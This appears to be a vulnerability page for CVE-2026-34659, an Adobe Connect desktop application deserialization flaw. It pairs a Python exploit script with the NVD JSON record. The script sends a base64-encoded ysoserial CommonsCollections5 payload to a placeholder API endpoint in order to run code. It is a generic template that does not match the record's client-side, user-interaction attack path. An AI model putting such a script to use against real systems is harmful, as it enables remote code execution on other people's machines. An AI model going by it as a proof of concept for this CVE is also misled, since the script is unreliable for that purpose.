CVE-2026-34659

import requests import base64 # Target URL (Example) target_url = "http://example.com/api/vulnerable_endpoint" # Malicious payload generated by ysoserial (Example: CommonsCollections5) # java -jar ysoserial.jar CommonsCollections5 'calc.exe' > payload.bin with open('payload.bin', 'rb') as f: payload_data = f.read() # Encode payload (Base64 or raw depending on app requirements) encoded_payload = base64.b64encode(payload_data).decode() # Send malicious request headers = { "Content-Type": "application/json" } data = { "serialized_data": encoded_payload } try: response = requests.post(target_url, json=data, headers=headers) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-34659", "sourceIdentifier": "[email protected]", "published": "2026-05-12T19:16:30.800", "lastModified": "2026-05-13T19:38:48.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Connect versions 2025.9.15, 2025.8.157 and earlier are affected by a Deserialization of Untrusted Data vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must visit a maliciously crafted URL or interact with a compromised web page. Scope is changed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect_desktop_application:*:*:*:*:*:macos:*:*", "versionEndIncluding": "2025.8.157", "matchCriteriaId": "B8B6BA67-FDEA-44F6-8DE0-DEBFE4AFF51A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect_desktop_application:2025.9.15:*:*:*:*:windows:*:*", "matchCriteriaId": "D2651BDB-FD1C-4608-9AAA-0590E790B515"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/connect/apsb26-50.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}